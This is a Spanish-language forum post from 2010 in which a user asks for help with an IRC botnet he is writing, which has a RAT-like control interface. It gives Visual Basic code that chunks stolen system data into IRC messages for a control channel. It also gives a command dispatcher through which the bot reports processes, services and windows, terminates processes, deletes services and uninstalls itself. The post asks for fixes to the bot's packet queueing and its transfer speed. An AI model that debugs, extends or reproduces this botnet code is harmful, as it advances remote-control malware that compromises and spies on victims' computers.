Problema con Botnet IRC

Iniciado por illuminat3d, 16 Noviembre 2010, 13:42 PM

0 Miembros y 1 Visitante están viendo este tema.

illuminat3d

Bueno, me explico, estoy haciendo una botnet IRC con interfaz usuario (parecido a un RAT) y tengo algunos problemas en el envio de datos, el protocolo IRC me limita bastante e intento escapar como puedo de esas limitaciones. Uno de mis primeros problemas es el envio de datos, yo envio los datos partiendolo en 429 carácteres, ya que los mensajes en los canales IRC no permiten mas.. por lo tanto mi método de envio es así :

Código (vb) [Seleccionar]
Public Function Split_Data(ByVal Total_Data As String, ByVal Channel As String)
    Dim lData              As Long
    Dim lPack              As Long
    Dim sData              As String
 
    'Total_Data = "[E]" & Huffman.EncodeString(Total_Data)
    lData = Len(Total_Data)
   
    If s_Active = True Then
        If lData > 429 Then
            lPack = (Len(Total_Data) / 429) + 1
   
            While p < lPack
                  If s_Active = True Then
                        If p = 0 Then
                                  sData = Mid$(Total_Data, 1, 429)
                        Else
                                  sData = Mid$(Total_Data, p * 429, 429)
                        End If
                       
                        Wait 2
                        mSock.SendData mSock.CurrentSocketHandle, "PRIVMSG " & Channel & " " & sData & vbCrLf
                       
                        p = p + 1
                        DoEvents
                  End If
            Wend
        Else
                  Wait 2
                  mSock.SendData mSock.CurrentSocketHandle, "PRIVMSG " & Channel & " " & Total_Data & vbCrLf
        End If
    End If
   
    p = 0
End Function


Todo bien, lo que quiero resaltar es ese entero llamado p (numero de paquetes) que lo uso aparte de para ir contando los paquetes de 429 carácteres, lo uso para saber si todavía sigue enviando datos, porque las funciones cuando el servidor las recibe las pongo como en una especie de cola ejecutandose en un nuevo 'thread' :

Código (vb) [Seleccionar]
Public Function set_Timer(ByVal hWnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) As Long
    If p = 0 Then
       Call KillTimer(hWnd, uElapse)

       Select Case uElapse
               Case 1:       Sender_Info (s_Chan)
               Case 2:       Sender_TotalInfo (s_Chan)
               Case 3:       Sender_Process (s_Chan)
               Case 4:       Terminate_Process (Command(2))
               Case 5:       Sender_Services (s_Chan)
               Case 6:       Start_Service (Command(2))
               Case 7:       Stop_Service (Command(2))
               Case 8:       Delete_Service (Command(2))
               Case 9:       Restart_BOT
               Case 10:      Close_BOT
               Case 11:      Uninstall_BOT
               Case 12:      Sender_Windows (s_Chan)
               'Case 13:      Close_Window (Command(2))
               'Case 14:      Hide_Window (Command(2))
               'Case 15:      Maximize_Window (Command(2))
               'Case 16:      Minimize_Window (Command(2))
               'Case 17:      Show_Window (Command(2))
       End Select
    End If
End Function


Como véis la p la uso como identificador para saber si sigue enviandose la anterior función para poder seguir con la siguiente... mi problema es que la p a veces (cuando el cliente envia muchas funciones seguidas) me falla como identificador y se para la acción anterior, envia la siguiente o simplemente hace un exceso de flood en el IRC.. no se me ocurre ningún identificador para eso.

Ese era mi primer problema, mi segundo problemilla (me interesa primero el anterior para resolver) es la lentitud de envio, sabiendo que envia solo 429 carácteres en cada paquete de envio y tiene que enviar mucha información, no sabría como saltarme ese limite de otra forma.

Saludos! =)

illuminat3d

Revivo el tema que se me va para abajo =( xDD